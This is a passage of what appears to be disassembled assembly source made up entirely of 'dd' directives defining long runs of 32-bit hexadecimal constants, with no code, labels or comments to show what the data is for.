		dd 2490FDB3h, 11057E77h, 0F62D5849h, 2EC09894h,	6F010CCh
		dd 0F2995A9Ah, 3C08D8C4h, 93FDE80Ah, 0CA1482E6h, 0A3EE3C68h
		dd 0B5776205h, 38E06185h, 0D2E08B04h, 59F454EBh, 34A6F82Eh
		dd 0B940FFC4h, 3ABE802Ch, 0D85E59D6h, 9409CF49h, 682B008Ch
		dd 41162C02h, 6099A3Ah,	59A61CF0h, 226480E0h, 8252B99Eh
		dd 42533B03h, 0B0F7C8CEh, 496275F4h, 320E202Ch,	0D053104Ch
		dd 0E3BCDD1Ch, 48304A00h, 0AA5B4976h, 3C1200BBh, 0D1726A2Eh
		dd 4A4C9E6Eh, 7CCF801Ch, 454E2Fh, 9C9785C1h, 9A78F9C2h
		dd 0FDEB4A12h, 240024B7h, 0D552C44Bh, 0BD00E958h, 0F44FB54Eh
		dd 9CE705Dh, 16894421h
		dd 9009B88Bh, 5942F0E4h, 98649D25h, 0DA6FBB04h,	0A7A80C72h
		dd 0AA808C13h, 5844E012h, 805296ECh, 0D9F2A514h, 991B5D30h
		dd 264DA933h, 485C51BEh, 137F0018h, 0B5AAC337h,	48019978h
		dd 0AE598CA6h, 352A1F56h, 589CD1A0h, 5040140Dh,	0DA307DC8h
		dd 205F804h, 35B910A9h,	0EB244D47h, 588614A9h, 2F5808ACh
		dd 0E0138720h, 1C0125C8h, 2165B9D7h, 839C2D98h,	0F1F245CAh
		dd 6C36E9E2h, 32DC4800h, 0C9FFF7A3h, 948FE300h,	7EFC74ACh
		dd 0B33061Ah, 51DE1888h, 2595EE22h, 30EE2991h, 0C24E0098h
		dd 5FAB3098h, 1AC2521h,	0E04162DCh, 73B8416Ah, 8974786Dh
		dd 79B8E8E8h, 69C20031h, 0E2225296h, 8630830Eh,	0F8EB697Bh
		dd 7CCA5113h, 120A93F4h, 0B1420809h, 0F426E8h, 797719A2h
		dd 0E5BBFC5h, 178DAD02h, 8F92D740h, 0F4BACB88h,	0BBDB9404h
		dd 78B6F8A5h, 54C54D25h, 4A629207h, 0C8DD4BF0h,	6115009Bh
		dd 4C7F36Fh, 0B08176FBh, 4C013C77h, 6414A149h, 0F07761h
		dd 0C865A2A3h, 185B97A7h, 0D86B4822h, 404B81C3h, 28880864h
		dd 1D5829ABh, 9E289C0h,	6461BC98h, 462C7201h, 0B502DB0Ah
		dd 16E9FCE8h, 0C89BFA17h, 0F700F09Ch, 31872640h, 1FE1CFh
		dd 922164C9h, 0AC067351h, 0E4304309h, 4D78C8B2h, 0F90A2535h
		dd 0A8C10CEAh, 6ED4E470h, 7BC368A2h, 721B8C90h,	4DE11501h
		dd 795014A0h, 7D4C212Fh, 165810E9h, 93ACB6F2h, 807CA27Fh
		dd 0BCA09AC2h, 0C8F80E02h, 0CC804D65h, 516E5FA7h, 63AB99C0h
		dd 9910EE43h, 9468A504h, 0FA886D80h, 0F1CF4517h, 80B8798Ah
		dd 7060AA0Ah, 0FCC82C41h, 0C782C038h, 8D027E05h, 3D14336Dh
		dd 80D871DAh, 51574A99h, 461C1D79h, 9D828C5Fh, 44BAB192h
		dd 4F531CD0h, 8468845Dh, 0D9508C4Bh, 83E090A0h,	8A326107h
		dd 330E116h, 4A6D8629h,	71A0D125h, 68402EE9h, 78DF2DE2h
		dd 3B7F00BBh, 6705A08h,	0C64AE4F8h, 4B6D898h, 157AEFA1h
		dd 5EDC14E7h, 5BB04862h, 2FA28124h, 0D1D911D7h,	8702125h
		dd 380BF994h, 38B1164Ch, 43C6294h, 4832AA01h, 4E9C92B5h
		dd 0EC807865h, 403FE37Ch, 1A363D87h, 0E2935084h, 5CC24A2Fh
		dd 11DE02Ch, 0FCC63022h, 0ED69FE19h, 0BB7DB109h, 1A281092h
		dd 0D493025Bh, 6021A650h, 240298FBh, 0C07A612Ah, 138D405h
		dd 987F6E14h, 2D843082h, 0C4F1174h, 5DA87801h, 4CB9646Eh
		dd 0EE02CBE0h, 5BD56637h, 4C804450h, 1C8044B5h,	5A95301Fh
		dd 0B12BDF26h, 0C9B11504h, 285F40A9h, 7D722D80h, 0D50B8398h
		dd 1B96E8h, 0F3DBDC48h,	0C04094AEh, 0F9F16880h,	0B434BD01h
		dd 0CAAEC010h, 58A1ECh,	9771DAC9h, 4FA92203h, 0FB132CB9h
		dd 0B221A820h, 0B6FA1A38h, 0B80B109Bh, 0B25FA898h, 7E492600h
		dd 6BD24C3Eh, 524B12C7h, 0F694526Ah, 0FC304E78h, 0BAE01C3h
		dd 856CD47Eh, 6173DC81h, 7889FAF8h, 416DEC06h, 475D5400h
		dd 7FBEAB12h, 7CF0990h,	0F459986Ch, 7D90D8ABh, 9CF98C8h
		dd 48401293h, 4BBC7100h, 0FE1C02F8h, 78E6194Ch,	88F5C200h
		dd 7291696Fh, 80D003EAh, 0B4BFAE60h, 0C8DCD3A8h, 0CA3042F3h
		dd 0B094F05Ah, 9E82040h, 0D12A2DA4h, 0FFEE3822h, 2E42FE20h
		dd 0B0C9113h, 6C102BEFh, 152D3786h, 0B64A194h, 506D26EEh
		dd 0C84BE058h, 6600F48Ch, 6D3F21B4h, 0FA5B42h, 158946BDh
		dd 1EDC99F2h, 0FB5838C7h, 4A3FC20h, 0A0625137h,	0CA2C622Fh
		dd 8D5B3220h, 22DC902Ch, 4344B2EDh, 0A400244h, 0CB72BC19h
		dd 8D2C069h, 8720881Ah,	56FD4400h, 9B0133C8h, 2EB28F6h
		dd 2F904580h, 0BD0C4820h, 0A1F900C3h, 83BE9DCBh, 63D017Bh
		dd 455215Dh, 0F2022791h, 38FE2F2Ch, 0C11E21F0h,	64C46221h
		dd 3F48406Bh, 0F4EEEAE4h, 0BA4EC001h, 0FC982308h, 0E19DB852h
		dd 0FE109254h, 3C2D99A1h, 0F1C092FBh, 95980018h, 0A8BFE142h
		dd 48A04D70h, 0B197FDCDh, 4C627E58h, 1C6200D3h,	0E75B278Ch
		dd 0EF56C600h, 43E4C5A2h, 0FB60924Ch, 913C612Eh, 129C7360h
		dd 28A4E7A1h, 371B4527h, 0D1630190h, 94AA8B2h, 10131052h
		dd 0B29D84BBh, 4448FA94h, 80002A0Dh, 0F9C23D81h, 39B53233h
		dd 0F2813A3Fh, 543B4CB1h, 22C4291Dh, 4F8B0090h,	47BBB42Ch
		dd 0C4030C79h, 9B13DBBCh, 4DB12921h, 805A1048h,	11C54325h
		dd 4F4CB884h, 0CFAC98C9h, 8D47CA07h, 0D9C09883h, 0F290E4DAh
		dd 0FA40C545h, 4BB0F610h, 0D7CD9420h, 16FD3046h, 50362281h
		dd 94324A89h, 77CEB500h, 7CADE561h, 2ED17D00h, 90B1391Dh
		dd 773E2AFh, 0FB3521AAh, 0B980086Bh, 0E4EB4166h, 16E89E01h
		dd 96482219h, 86814428h, 1CF89DE5h, 0AFB4602Eh,	2053D54h
		dd 0D8888616h, 0C6B410C0h, 385D25C8h, 0FC13A448h, 0AC201D41h
		dd 4CD940E6h, 9A000099h, 0A549E297h, 0B21D038Bh, 36CFF425h
		dd 72D3EDA8h, 0E90D58C2h, 60B45CAAh, 0AEC3F87h,	0E04CB49Eh
		dd 4E37880Eh, 49DFDB00h, 81A5DC6Ch, 87C002A0h, 3B9CAEC1h
		dd 34942C56h, 30498AA8h, 0F94A6607h, 8AC67A80h,	9D10006Ah
		dd 50A5F235h, 0E705068Dh, 0E5765369h, 0D1C964A8h, 8AF344B0h
		dd 76430C3Ah, 88CBB100h, 64E5037Dh, 7CD8F68Fh, 0B7D4FFEFh
		dd 0A43E1C61h, 40874193h, 0F4441E76h, 20A0B8E6h, 8DE332Eh
		dd 5C424EDDh, 60EAA082h, 7BBB6DE6h, 0D6CC1EDBh,	934303F2h
		dd 0EEBB4A02h, 0D482611Dh, 6A28CBFh, 0E30B5861h, 0C0F56312h
		dd 0E48DAB42h, 0ADAF1FAAh, 10570CF6h, 378805C0h, 61FA0C45h
		dd 0C100FF0h, 61EB8D31h, 26D092FCh, 1090616Ch, 88476DF3h
		dd 6033FE68h, 5606D16Bh, 6012E118h, 50446619h, 40961C72h
		dd 4452946h, 68EC6891h,	11321C50h, 0CB14A2FDh, 8B811EAh
		dd 6E331B63h, 98C86193h, 1B0ACBB9h, 0C48B462Dh,	0E8E16303h
		dd 5BF9202Fh, 3D8C3818h, 0C1F1D869h, 0CD265359h, 2994EC27h
		dd 0C784E203h, 11F66123h, 0A97369h, 0B157A004h,	0CAE9E6Fh
		dd 2628EF96h, 7E031151h, 528D3C39h, 7DCBF093h, 0B79502F6h
		dd 0AE665527h, 0E68C7420h, 0E19D2A97h, 320C67Ch, 670069A8h
		dd 2D9CD409h, 0CC789C6h, 0E2D665B3h, 2200C1B1h,	6CEBA78Ch
		dd 30111550h, 7D49478Bh, 5E03108Dh, 8AEC6638h, 3B190008h
		dd 5EE6B59h, 2F00DA7Ah,	0FBD1A918h, 3078337Fh, 3828447Eh
		dd 0D1C00DE3h, 9314641Bh, 0AD5202E7h, 8F53920Ch, 1211D091h
		dd 0BF80902Eh, 5AC601D8h, 0DB8805E8h, 0BE33C0C1h, 2844BC00h
		dd 9174EBE2h, 60267261h, 8838E995h, 0C8A9F66Ch,	0C82213E4h
		dd 385BBA7h, 897FCAEBh,	0DDD0A82Eh, 3800B010h, 94123359h
		dd 3D7CE378h, 0D918EC67h, 9663893Ah, 0A6D2F00Ch, 4410788Bh
		dd 90446F77h, 0EA2F1271h, 0C614423Eh, 0C4442B19h, 5AEF1813h
		dd 51413C1Ch, 871CB3EBh, 98B897C0h, 0B0A0C2Dh, 8A484635h
		dd 7E841054h, 5CF4A600h, 0B23A47EBh, 727A092Bh,	45809109h
		dd 0E07B623Fh, 0A7DFC00Dh, 39B99075h, 84250783h, 0E0A7BA45h
		dd 3619390Fh, 684B8828h, 31108C00h, 0A8F06E37h,	0B3BE027Eh
		dd 946B3339h, 0B0590520h, 45F0018Bh, 104B8EC9h,	5F982039h
		dd 0C15B88h, 0FBDF7571h, 37C438EBh, 948230A2h, 0F7818E9Fh
		dd 0B8854D30h, 27FF0748h, 2390698Fh, 8D0862h, 0AAB66393h
		dd 0F9D6E009h, 7C12A679h, 64602AE1h, 0A8610AFFh, 24B50CA8h
		dd 841C8EE0h, 4854BE2Ah, 7825803Dh, 86FEBCB9h, 33E45D00h
		dd 0EA2C1E34h, 5FEC0170h, 0A4F8E84h, 0E0243012h, 0A5FF5404h
		dd 20C8D676h, 446B00BAh
		dd 5806F665h, 78038E59h, 81F3AA61h, 2C77E984h, 48389024h
		dd 88070C1h, 8F752970h,	64ACE026h, 0CA6DB301h, 78336433h
		dd 0E1B16602h, 2E233729h, 57410038h, 0B12203DCh, 9C139071h
		dd 14206B44h, 3FAD8005h, 61E02963h, 8C35C55Eh, 10435904h
		dd 68004485h, 6A272BAEh, 0EF51331Eh, 0FCB84E03h, 42D3F2h
		dd 29240569h, 9497B915h, 0C44EA200h, 20349001h,	426E0F23h
		dd 0DD9C2960h, 0ADF7C0BEh, 0DF2CCF45h, 31EBFBE6h, 0E5D0F4D0h
		dd 8A0D931Fh, 0C4368B44h, 4040F48Dh, 0A6FB10E1h, 0B48880DCh
		dd 0BA360121h, 54A905B6h, 31824F7h, 2CC12060h, 5AF15Ch
		dd 28A23A5Fh, 52B55E80h, 44A14502h, 802908B9h, 7CCA3964h
		dd 0FAC80082h, 9F5981C9h, 0BA0153FFh, 988B1EFCh, 4C628755h
		dd 0CED93A00h, 1D90CC7Ch, 2154F74Ch, 0DD8D906Bh, 0A60C8F85h
		dd 10425C89h, 595C4488h, 28994C63h, 25E611ECh, 0B30C5C23h
		dd 0D2613D03h, 808AEE3Fh, 85920EADh, 0A38C2h, 58C3BDD5h
		dd 0B590AB35h, 4C79763Fh, 785A2CB4h, 507A14h, 78139805h
		dd 24AD7C17h, 4334146Dh, 0B9003C2Eh, 540FBA72h,	0F0F19856h
		dd 2396001Eh, 3AE85104h, 0C5018895h, 0E0D09CC3h, 0A9856326h
		dd 802B032h, 0A8A44BE0h, 963D9011h, 949F9B89h, 320248Ch
		dd 5C26E8C4h, 1D7D6340h, 9B0C4DF0h, 2810395Bh, 0FFB8C235h
		dd 0E86427EFh, 5C1F5D0Bh, 958881AEh, 35EC6FF9h,	0C81E003Eh
		dd 0FC365EAh, 84B04B02h, 33E23611h, 19C08058h, 35183E03h
		dd 3F293C1Eh, 0C6C12100h, 3DBA2A1Ch, 0BAF9FB3Ah, 11A3200Ch
		dd 49142E31h, 4630A76Ch, 0A29C0F4Eh, 0DD40B0AEh, 1F719209h
		dd 77264609h, 26EC2F45h, 40188F32h, 1E9DB60h, 0F980368Ah
		dd 86C5B704h, 8400BC34h, 0C1C04971h, 0DEF480h, 8FD6AF3Eh
		dd 0B7643DA9h, 88379B0Ch, 247D890Eh, 60C8F094h,	0FB1E1B38h
		dd 0B6B30900h, 7A156389h, 463E1CCBh, 21C40199h,	6043B488h
		dd 0B0B5D6Ch, 99471F29h, 8700F868h, 0E8073C17h,	0D864A77Eh
		dd 5615B680h, 0A5B7038Fh, 0AB3AF6D9h, 0C903CFA7h, 19008ABFh
		dd 56DEA8E4h, 0DA7419h,	154F5F25h, 376720Bh, 34064C90h
		dd 0B288607Dh, 9C871830h, 636649B9h, 0C4916500h, 725A74A0h
		dd 0A7CF0C40h, 0F380D724h, 0C97DC306h, 0C309E3Fh, 0B458A2A5h
		dd 4B3C1749h, 0AE5718A7h, 80DA1659h, 6B00121Eh,	43BE3FC1h
		dd 8FD769h, 28B85B3Dh, 0A911D78h, 61822006h, 0C98EBEh
		dd 0E539ED5Ch, 0BD50DCCBh, 0F85570A0h, 80FFF33Eh, 0E9F1099Bh
		dd 72B885h, 513EE3B3h, 1DB62084h, 3DCA240Ch, 0F9C0A9A9h
		dd 581E4183h, 97F07766h, 0B80A2662h, 689A2AC9h,	86C07608h
		dd 19D621C6h, 4424D03Ah, 0BC2B1F8Dh, 0D3AD8005h, 0A9BE3CA7h
		dd 21BF5B31h, 4E304BAFh, 0CFB41D3Dh, 0C274017Dh, 41A0CC0Eh
		dd 12AE6198h, 5B5080C3h, 0A099DAh, 0E69C2EB9h, 0EC4605B5h
		dd 5ED2D912h, 0A829F418h, 5C8C00B8h, 335D61CBh,	0A100177Fh
		dd 1679F7DAh, 7F61315h,	88F91DE2h, 9FECDA3Bh, 1F94C025h
		dd 0AC806139h, 0A7A02300h, 1A3AD4EBh, 0F7E107E8h, 70BA345Ch
		dd 0D0A1C0B6h, 1514D50Ah, 0F6419C59h, 51BEA03Dh, 19985498h
		dd 771E16C4h, 64CADF8Bh, 0A318FCD3h, 9EBE29h, 6A6B650Fh
		dd 0F9A24077h, 0AA9FD018h, 1581321h, 2D8B6926h,	40BF9C82h
		dd 2322F958h, 6785D00h,	0E2C9BA3Bh, 0CFD13F7Eh,	7B4BB2Ah
		dd 278976F9h, 3BB0C0B3h, 0C00297B4h, 0E4743E28h, 70B88C03h
		dd 0A12220C6h, 670BA500h, 7D5CD205h, 80900ABh, 0D3AC412Dh
		dd 583333F6h, 0B84528D5h, 7C8F407h, 83D7EF7h, 644F5FFAh
		dd 0C3990481h, 915192A8h, 1BBD8E00h, 0DC9D1h, 835867FBh
		dd 2D29AA36h, 8A11A701h, 0C10FA2ABh, 3CC6B98Dh,	0DECDE069h
		dd 59AB7E01h, 0D8FC40F7h, 0F2F8E824h, 507A93h, 4672965Dh
		dd 0BE92B57Dh, 7EBCD854h, 8FE22602h, 0C054E34Ah, 7B0CC8DCh
		dd 307148DCh, 16104E80h, 48C04BABh, 7E6D6EFFh, 31272AC9h
		dd 8CC030E0h, 50679B51h, 0E0914601h, 65080AB0h,	1C12FC8h
		dd 0E3AC8E0Bh, 331E160Ch, 8E3F2140h, 8C60A795h,	4B1949E7h
		dd 0EC009378h, 875FA5C3h, 557F588h, 26F918D7h, 0FE8447BDh
		dd 30864722h, 0AE9A0FDAh, 11CB300h, 81A61817h, 293900ACh
		dd 0D41A5CA1h, 8C0016A7h, 0B852A833h, 0FB910F3h, 2070F7EDh
		dd 53698Fh, 0C9FE8B40h,	0B0A8922Bh, 971D93D1h, 0B6191B15h
		dd 20222478h, 0B750076h, 4F8765Dh, 0EE0EE060h, 0D235AC6Fh
		dd 0B858EC1Ch, 0EA43E1h, 0F88B4FADh, 8945AB96h,	126E20C8h
		dd 7ED030B6h, 271D5B0h,	64316B00h, 0E8FA8E83h, 15C9718Dh
		dd 0FC869921h, 41F30500h, 0C2C18A7Ch, 1241A760h, 3F514F3Dh
		dd 7D009AD4h, 0DE9CC5F6h, 0B402E36Fh, 3B26E289h, 2BF0A7C8h
		dd 0BA822E50h, 603EFC8Bh, 0EDECB1A4h, 0BC60A77Dh, 0DE744711h
		dd 5CB132B3h, 0E02FA218h, 0EACE3178h, 0FA2B051Fh, 408BBE6Bh
		dd 5372EEF0h, 0D300C498h, 49EBDC18h, 0FC441Bh, 9029F6Eh
		dd 0D6F675F8h, 0D142E891h, 0FCA3880h, 60C25900h, 66E476F2h
		dd 0E58302FDh, 0CB01A772h, 0C81A9C22h, 3C3B118h, 6B4F9E38h
		dd 81B813F2h, 7D01D3CAh, 14BB3488h, 0A982DD56h,	0E58C3ADFh
		dd 62C0F849h, 32A80014h, 69077754h, 226F3D78h, 1AA47280h
		dd 0AB4C4E3Eh, 40004674h, 3AD890C7h, 93B955Dh, 0AFF77E78h
		dd 0C8C2C424h, 340010D0h, 0F97A9D88h, 502966h, 0B8BA3E9Ah
		dd 0F64A9F6Ch, 0A7851B00h, 64C9A64Bh, 0EC7E4E70h, 0BE26184Dh
		dd 392BB1E1h, 0F281DB74h, 9FBA6057h, 0DCDEE844h, 873F5099h
		dd 96CC4EB2h, 54391CF0h, 0A74040CEh, 1D00E490h,	2C3CA25Eh
		dd 0ED39C682h, 0C0F93998h, 0C1146CCAh, 3F28C2B2h, 0B67C008Eh
		dd 44E3D13Ch, 29F2E8F5h, 0CF4201Fh, 1EA1C924h, 0B2136F00h
		dd 710EB150h, 5ABB00F0h, 0F767EAABh, 28913D88h,	61D3C20Ch
		dd 288F052Eh, 9C257A13h, 0D245B590h, 7BEC90C6h,	37FF0h
		dd 0F76BC06h, 828A397Ch, 0C200B798h, 0D7131FFEh, 3DAB614h
		dd 0A5A68702h, 40C09181h, 50C2395h, 69C726E6h, 2E8A00E0h
		dd 4671863Fh, 7B00BFC0h, 0A3B84B42h, 9B9CC16h, 0C3E44177h
		dd 885D7905h, 3F0CB0D0h, 0A12FDA21h, 0CE391420h, 4680D424h
		dd 2E715C1h, 4EDC000h, 0D1E42C13h, 0D74B028Dh, 303CC9CCh
		dd 17F7A064h, 4CDE9970h, 3AE87062h, 179138Ch, 0A2614D41h
		dd 61845D12h, 875C4CA8h, 0FD8000B9h, 45B15373h,	0B0700093h
		dd 0F5F72347h, 0B5095F34h, 8107D65Dh, 0C109A260h, 623EC611h
		dd 9CD13E24h, 11B0C2B6h, 0CEC09Dh, 1849B83Dh, 0B904356Bh
		dd 5BEB7012h, 438F9448h, 4CA0DFD5h, 0E0C070DEh,	0AE03B316h
		dd 0BD4A1123h, 0ECB8028Eh, 8704FE11h, 0BC46A784h, 40170089h
		dd 58EDF01Bh, 701494C0h, 3E98EE4Bh, 379896F3h, 3BF64802h
		dd 2220E4A6h, 0A70ADE23h, 0C0D65C1Fh, 0E65DD160h, 0E8230007h
		dd 615BC2F7h, 0E52E8693h, 458150D5h, 159FE00Fh,	7A2C24h
		dd 0FB6FA0BEh, 0CBAC695h, 0CDE63FB0h, 0EBAE6E00h, 0B97DEFC3h
		dd 7CBF50DAh, 0B458032Ch, 8823D6D4h, 4EAC889Dh,	0B244A000h
		dd 8113F485h, 0E72029Ah, 0C3167D68h, 0B1071452h, 0CDB8C8C2h
		dd 17C0BEBh, 581FF5F4h,	49219063h, 0D463F200h, 48BA39B0h
		dd 8F816025h, 0FC768483h, 5600DE86h, 5C90E12Eh,	15B8196Eh
		dd 28151729h, 26895450h, 0C0421C2h, 7519DCBEh, 0E8253F76h
		dd 9300362h, 9C6115CEh
		dd 9E009011h, 89B1C1D4h, 0E0006ABCh, 0D23C1DFBh, 0EE23ED14h
		dd 60610630h, 0E1A420C9h, 6189C031h, 5EE42DE5h,	0DD660022h
		dd 99719454h, 0A8222805h, 0FEC7EA15h, 122D3FF1h, 9E228E80h
		dd 786AF5CAh, 3778D098h, 183EF62Eh, 0C8FBC061h,	2CDF60A6h
		dd 0E91D60A8h, 4503B49Eh, 481BDF9Ch, 51DD98DEh,	5D0F02F1h
		dd 21A10AD7h, 0EFB08060h, 14D6F800h, 0C6844509h, 98E62426h
		dd 24C30294h, 2CCEB9E5h, 270C1200h, 48A82E26h, 5D7E0FFAh
		dd 0EC4229A4h, 0FCE0FB4Eh, 0CD003FA3h, 63202A5Fh, 0A4CF76A8h
		dd 0C1BE62A8h, 0A5C3F7B1h, 6D35FAF0h, 0AA081E02h, 599F6BD0h
		dd 3DF680A8h, 348F9ED8h, 5E6C3E00h, 4E8B5C68h, 91387556h
		dd 6A7B8028h, 970AC1E9h, 12141F48h, 203137F7h, 0E6DE1C55h
		dd 11800F34h, 32606DFAh, 4DCE1E98h, 0EAF9B300h,	65B68ED1h
		dd 42CCB1D5h, 0A3249C95h, 24456740h, 0F304DFC0h, 0BD9BB30Fh
		dd 0DD68C8h, 28FC1401h,	0B54B2A33h, 0B88A4200h,	0BFBE4FD3h
		dd 0EC3D5468h, 1E349135h, 441C6414h, 13B8C824h,	1714738h
		dd 0B8CE38A3h, 506225C9h, 218F907h, 33044011h, 0D148FA1Eh
		dd 21F80C4Bh, 7DF141C4h, 2CF200DBh, 0A8A2E2A3h,	4229B1ABh
		dd 0C980A019h, 64F23FC4h, 4B170102h, 27C6D5F0h,	22D4322Eh
		dd 0D3E0008Bh, 5A958529h, 0BB008F40h, 0A17CA273h, 69C50DFh
		dd 0C0F806BCh, 2430C197h, 0F6B089D0h, 1D77364h,	653B9D25h
		dd 0C84A2159h, 200F9E6h, 8819B935h, 0A9D67033h,	11E22288h
		dd 165D10BEh, 0A8C900CBh, 79E5A393h, 22A9E5Ah, 0DA0068AEh
		dd 0C1C58F4Bh, 30158BACh, 0F6498054h, 0C183A437h, 99D3F545h
		dd 8C3055DDh, 301C5814h, 15DB0596h, 0D408004Fh,	0F69A376Ah
		dd 50403328h, 0B004585Ch, 0B06A5Eh, 2CE4D554h, 8804310Ah
		dd 7793EF02h, 99580340h, 18184948h, 0A9BAA109h,	0AC001003h
		dd 0C842E338h, 111C7922h, 0FB568003h, 28A9CEA6h, 270CBD76h
		dd 34201B15h, 0F7D13DA1h, 1D52112h, 12883814h, 0F80086C1h
		dd 0F23305CFh, 3DA33CF8h, 0A77DCC89h, 72E15090h, 442A451Fh
		dd 3B0A8E40h, 737A156h,	9E5ED0FAh, 0B0E14999h, 60D84B1Ch
		dd 0EC729D06h, 1E41987Bh, 2EA2BDD2h, 0AFF9306Dh, 5E01DDEAh
		dd 0C6D1F932h, 903C9F2Ah, 443C3396h, 947B03F9h,	0C26A8h
		dd 742910A1h, 26BA1980h, 4734A741h, 67F6A0DCh, 4F0F7F2Ah
		dd 0A36D887Dh, 0B2DD4B77h, 28106646h, 58C0850Eh, 1C8064BDh
		dd 5296C458h, 19167200h, 93E1C1CDh, 0AE4030F6h,	0B8F14A39h
		dd 15017EFEh, 0E97F995Eh, 0FC60BF1Bh, 42988F6h,	0CC514F00h
		dd 507AF3DDh, 15790020h, 1B4BA919h, 0ED1D1724h,	0C312720Ah
		dd 98874897h, 96D274D0h, 8CEE0003h, 0AEAA70AFh,	21011FC5h
		dd 0EDACD112h, 904C5AA9h, 383DEDECh, 714C5400h,	32FD91A0h
		dd 51F89777h, 7BCFD106h, 369D8B6h, 643DB8F9h, 49DE5AA8h
		dd 0C62B1402h, 404C78BBh, 73220103h, 8090B09Fh,	0A381C01Ch
		dd 0D367A870h, 683E4C2Fh, 39212000h, 0BD9CD438h, 0DDD894A8h
		dd 0DA2D0E00h, 8C3D4857h, 88A4BAECh, 3D3AD224h,	0AA0FB696h
		dd 0AC83F739h, 33A9C6B9h, 16B8222Bh, 0E8308323h, 5E1339h
		dd 936489B0h, 0F88B4B7Ah, 9726C918h, 3803C4A9h,	5097A213h
		dd 0D8FC37D1h, 80F8C094h, 24EB1D79h, 0B22E1D64h, 9AA8402Dh
		dd 0A21905CCh, 0AB024493h, 838A2115h, 783EC944h, 0C25802A1h
		dd 9C88E41Dh, 8DDFD480h, 349439C6h, 46442542h, 822222D0h
		dd 0AE540498h, 0DB052A98h, 47090739h, 0C5609CC7h, 9A4BA403h
		dd 7CB920h, 0BF9073D8h,	0BD3D7B1Ch, 3CE51EB0h, 39B32BC0h
		dd 0B8D358F2h, 0D05618F4h, 2E1FB1B2h, 0CA25CB02h, 5ADBC921h
		dd 0E1110480h, 0C270F379h, 6B22DE50h, 0D330602Dh, 0CC48C49Ah
		dd 0C82406B5h, 0C47F3EC9h, 0F595F481h, 63273BACh, 101B00B4h
		dd 72466958h, 0B0FE00BEh, 5A1C0E5Eh, 50C895D3h,	37D48202h
		dd 0C075C9h, 1C89D5E2h,	41239433h, 0C93FA207h, 2133FBA7h
		dd 0D0C913F3h, 50A04B5Ch, 7400E496h, 2825A057h,	0B03DE0h
		dd 3F9DDEA9h, 8F24010Eh, 68E4C302h, 0E3CB2B20h,	74A02220h
		dd 1B65FC90h, 7000C249h, 0A494B12Fh, 0C7B300B6h, 0C014C162h
		dd 0C89859ABh, 27C0F350h, 9C489081h, 0A02988C6h, 21A80B00h
		dd 8EBC28D1h, 0AD1800F6h, 0E36616EEh, 6824DFE9h, 0B880A8D4h
		dd 0EBC472F9h, 0A74512CFh, 0D4D83476h, 9880C700h, 6DC00580h
		dd 1FC45Ch, 3C23F919h, 0DE5E56B9h, 1AB30D1Eh, 40839D2h
		dd 0DDAC0814h, 0BE0FA205h, 0D422E0B2h, 367DF905h, 841FD508h
		dd 8BA4443Ah, 0FCFD6AB8h, 3516151Ch, 0FB64B40h,	34DA08h
		dd 0FB148D44h, 9A5626C3h, 7D886350h, 124410B9h,	41A49AC0h
		dd 0CF9C016Ch, 8D6ABC04h, 0FFE0C65Ch, 98282FE7h, 942FF8AFh
		dd 874C30DCh, 78500356h, 436C5123h, 53BD35C0h, 4F22ECB2h
		dd 3FF62D84h, 2458C496h, 0FA91809Ch, 451B5CDh, 0CFF9B449h
		dd 4EBC9058h, 361CB610h, 0C9843D7Dh, 88CA9C39h,	2B718300h
		dd 0DD36C434h, 3BF7D00Ah, 221E38BDh, 82EC82A2h,	59E5D34h
		dd 20E84AF5h, 611824C8h, 0D2A83DAEh, 583D6C44h,	34C64053h
		dd 0E2C12F2Bh, 0E8A200DCh, 0FB6A541Fh, 8B9003C8h, 12439ED5h
		dd 0ABEF3ED8h, 555CB900h, 0A86E34D3h, 0AF4A325Bh, 245A2551h
		dd 3CF7F90Ah, 55085CAEh, 167C8198h, 282563F3h, 2778050h
		dd 1398FA3Dh, 12B9BB4Ah, 0D0F04049h, 2015AA79h,	80B6B024h
		dd 94C0FAE5h, 1C7496DEh, 4D8204Ah, 0BFB34983h, 0DA7ACD80h
		dd 0F80458A7h, 0CF09A908h, 48C61789h, 16BE80h, 7C758622h
		dd 0DA0AE830h, 0A7258890h, 3C9403h, 3A964656h, 0A95C8FB4h
		dd 0A8D8201h, 0D4592189h, 0EEE810EFh, 24A72EB5h, 0C763E160h
		dd 3A060091h, 6C430732h, 0B1003D3Fh, 490DC22h, 1E1670C0h
		dd 1E034F2Fh, 62FC8744h, 0D9DDF061h, 2600F34Bh,	8B792D0Ah
		dd 0E3811AEh, 6E43974Fh, 0AAB260C0h, 2405942Eh,	0DC6A7E29h
		dd 7B6B00FBh, 0E2415643h, 0BD374C00h, 0AAA4F876h, 182F7226h
		dd 58309EEFh, 0C0002A70h, 1EF0BCB3h, 1E93AECAh,	40B109C7h
		dd 0CB7004C6h, 0DE48CEB8h, 2D5219D2h, 0D23041h,	3C1889E8h
		dd 78EEB300h, 0A4DBF4DCh, 0FA1D013Fh, 8D9C142Ah, 2FC08325h
		dd 0E8274C06h, 1C878BAh, 8AD96ABh, 87198444h, 3671159h
		dd 0D00D9BB0h, 3A541D60h, 0D4788774h, 9453E082h, 1C15E977h
		dd 8CF4AEh, 0C942CF4Fh,	2E9662h, 14FF71CCh, 0FE2382AFh
		dd 77E2BB06h, 1B12FEFh,	7A94645Ch, 807914E1h, 74B5B799h
		dd 0F4575Bh, 938A12E0h,	1CD0673Fh, 9C7CF9E3h, 31B01628h
		dd 8FE47Ah, 0DF631DBAh,	0E9C87F8Ch, 0F42BA201h,	6D85FCD5h
		dd 9D6AB450h, 747A0061h, 73B89E04h, 7E29E8F5h, 9215A408h
		dd 993900C4h, 69013652h, 43040634h, 5EE82018h, 542FE906h
		dd 188027D9h, 4111A0F8h, 6401C86Ah, 4BCD1A8Bh, 619101DCh
		dd 74806307h, 8EB91828h, 466B1915h, 0BD8F1F28h,	1CD48302h
		dd 84DF6CECh, 274B2BACh, 0AC9B9400h, 0CD071317h, 0DFEAB196h
		dd 0E528F4Fh, 7A809F24h, 0A91C53F3h, 0C8785459h, 0B59E00B3h
		dd 0E0C0DF38h, 0E354F1FEh, 0B1140288h, 0C0C8254Fh, 85E4AC6h
		dd 0F8A90EBDh, 0FA652201h, 291803B4h, 9DA07142h, 9611572h
		dd 988757C0h, 0FD4A9C51h, 4FEEB180h, 35B8A8FEh,	99F5F40Fh
		dd 0C8490093h, 183AD74Bh, 606CA768h, 90A41BF9h,	5FC5A300h
		dd 28DB99C9h, 0A79C08Fh
		dd 156EA9C2h, 0A5203E72h, 0E84300Ch, 935CA839h,	7F298001h
